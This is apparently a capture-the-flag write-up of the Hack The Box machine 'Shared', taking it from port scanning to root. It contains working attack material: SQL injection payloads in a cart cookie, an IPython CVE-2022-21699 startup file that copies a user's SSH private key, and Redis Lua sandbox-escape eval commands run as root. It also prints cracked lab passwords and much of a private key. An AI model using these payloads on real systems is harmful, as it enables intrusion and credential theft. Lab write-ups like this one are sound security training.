Summary
Foothold
We start out by doing an nmap port scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 15:25 CEST
Nmap scan report for 10.129.44.47
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| tls-nextprotoneg:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.36 seconds
The scan tells us that ports 22, 80 and 443 are open, and also that the webserver uses the hostname shared.htb, which we will then add to our /etc/hosts file.
When we visit the site, it seems to be some type of webshop. We can see that they encourage us to take a look at their checkout functionality, and indeed there seems to be a subdomain for this specific feature:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(bitis㉿workstation)-[~]
└─$ gobuster vhost -u shared.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt 1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shared.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/08/14 15:33:43 Starting gobuster in VHOST enumeration mode
===============================================================
Found: checkout.shared.htb (Status: 200) [Size: 3229]
Progress: 67551 / 114442 (59.03%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/08/14 15:36:25 Finished
===============================================================
After adding this to our hosts file we can check out this domain as well: 
It seems that the site is using a cookie to keep track of the customers cart.
The cookie value is vunlerable to sql-injection. Using the UNION operator we can figure out which database the checkout functionality is using: 
Using the following injection:{"' and 0=1 union select 1, table_name, 3 from information_schema.tables where table_schema = 'checkout'-- -":"1"} we can list the tables that belong to the checkout database. This result in us finding the user table.
Using the string: {"' and 0=1 union select 1, username, id from user-- -":"1"} we find a user by the name of james_mason: 
And finally, we also get an md5 encrypted password:
Cracking it via crackstation gives the credentials james_mason:Soleil101
We can then connect to the machine via ssh, however to get the user flag we first need to pivot to another user, dan_smith.
Pivot
Checking id, we can tell that james is part of the developer group, and via pspy we can tell that this group is running some interesting commands on the machine:
1
2
3
4
5
2022/08/14 10:15:01 CMD: UID=1001 PID=2204 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/14 10:15:01 CMD: UID=1001 PID=2205 | /usr/bin/pkill ipython
2022/08/14 10:15:01 CMD: UID=0 PID=2206 | /bin/bash /root/c.sh
2022/08/14 10:15:01 CMD: UID=0 PID=2207 | sleep 5
2022/08/14 10:15:01 CMD: UID=1001 PID=2208 | /usr/bin/python3 /usr/local/bin/ipython
Ipython has had multiple CVE’s disclosed at this point, and one that looks interesting is CVE-2022-21699, which should allow us to run code as another user on the system. If we go to Ipython’s github repository, they have a security advisory, including a proof of concept of the vulnerability.
To get access to the other user on the system, we simply follow the PoC, and create the required folders and files in the /opt/scripts_review directory:
1
2
3
james_mason@shared:/opt/scripts_review$ mkdir -m 777 profile_default
james_mason@shared:/opt/scripts_review$ mkdir -m 777 profile_default/startup
james_mason@shared:/opt/scripts_review$ echo "import os; os.system('cat ~/.ssh/id_rsa > /tmp/key')" > profile_default/startup/foo.py
Once the system has had some time to run the script, we can read the ssh key of the dan_smith user in tmp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
james_mason@shared:/tmp$ cat key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvWFkzEQw9usImnZ7ZAzefm34r+54C9vbjymNl4pwxNJPaNSHbdWO
+/+OPh0/KiPg70GdaFWhgm8qEfFXLEXUbnSMkiB7JbC3fCfDCGUYmp9QiiQC0xiFeaSbvZ
FwA4NCZouzAW1W/ZXe60LaAXVAlEIbuGOVcNrVfh+XyXDFvEyre5BWNARQSarV5CGXk6ku
---SNIP---
YWfa9RiI5aTaWdOrytt2l3Djd1V1/c62M1ekUoUrIuc5PS8JNlZQl7fyfMSZC9mL+iOQAA
AMEAy6SuHvYofbEAD3MS4VxQ+uo7G4sU3JjAkyscViaAdEeLejvnn9i24sLWv9oE9/UOgm
2AwUg3cT7kmKUdAvBHsj20uwv8a1ezFQNN5vxTnQPQLTiZoUIR7FDTOkQ0W3hfvjznKXTM
wictz9NZYWpEZQAuSX2QJgBJc1WNOtrgJscNauv7MOtZYclqKJShDd/NHUGPnNasHiPjtN
CRr7thGmZ6G9yEnXKkjZJ1Neh5Gfx31fQBaBd4XyVFsvUSphjNAAAAwQD4Yntc2zAbNSt6
GhNb4pHYwMTPwV4DoXDk+wIKmU7qs94cn4o33PAA7ClZ3ddVt9FTkqIrIkKQNXLQIVI7EY
Jg2H102ohz1lPWC9aLRFCDFz3bgBKluiS3N2SFbkGiQHZoT93qn612b+VOgX1qGjx1lZ/H
I152QStTwcFPlJ0Wu6YIBcEq4Rc+iFqqQDq0z0MWhOHYvpcsycXk/hIlUhJNpExIs7TUKU
SJyDK0JWt2oKPVhGA62iGGx2+cnGIoROcAAADBAMMvzNfUfamB1hdLrBS/9R+zEoOLUxbE
SENrA1qkplhN/wPta/wDX0v9hX9i+2ygYSicVp6CtXpd9KPsG0JvERiVNbwWxD3gXcm0BE
wMtlVDb4WN1SG5Cpyx9ZhkdU+t0gZ225YYNiyWob3IaZYWVkNkeijRD+ijEY4rN41hiHlW
HPDeHZn0yt8fTeFAm+Ny4+8+dLXMlZM5quPoa0zBbxzMZWpSI9E6j6rPWs2sJmBBEKVLQs
tfJMvuTgb3NhHvUwAAAAtyb290QHNoYXJlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Privilege escalation
Our new user is a member of the developer group of course, but they are also member of the sysadmin group:
1
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
Looking for any files owned by this group we find the following:
1
2
dan_smith@shared:~$ find / -group 1003 2>/dev/null
/usr/local/bin/redis_connector_dev
When running the binary, the following is printed to the terminal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
dan_smith@shared:/usr/local/bin$ ./redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:5636
run_id:b8e4e1aa48304078a83690b0605822db59ba1ffe
tcp_port:6379
uptime_in_seconds:28
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:16327646
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
<nil>
dan_smith@shared:/usr/local/bin$
It seems that it logs on to the local redis server. If we transfer the binary to our own system then set up a netcat listener on the standard redis port, 6379, we can figure out what password is used to authenticate to the server.
1
2
3
4
5
6
7
8
9
┌──(bitis㉿workstation)-[~]
└─$ nc -lvnp 6379 1 ⨯
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43228
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq
With this password we can connect to the redis server on the target system. We also know that the redis version is 6.0.15 from the previous command. I found this vulnerability which seems promising.
1
2
3
4
5
6
7
8
9
10
11
12
dan_smith@shared:~$ redis-cli
127.0.0.1:6379> AUTH F2WHqJUz2WEz=Gqq
OK
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/root.txt", "r"); local res = f:read("*a"); f:close(); return res' 0
(error) NOAUTH Authentication required.
127.0.0.1:6379> AUTH F2WHqJUz2WEz=Gqq
OK
127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/root.txt", "r"); local res = f:read("*a"); f:close(); return res' 0
"bdc555809c3e4021438169dcef11acb2\n"
127.0.0.1:6379>
Rooted!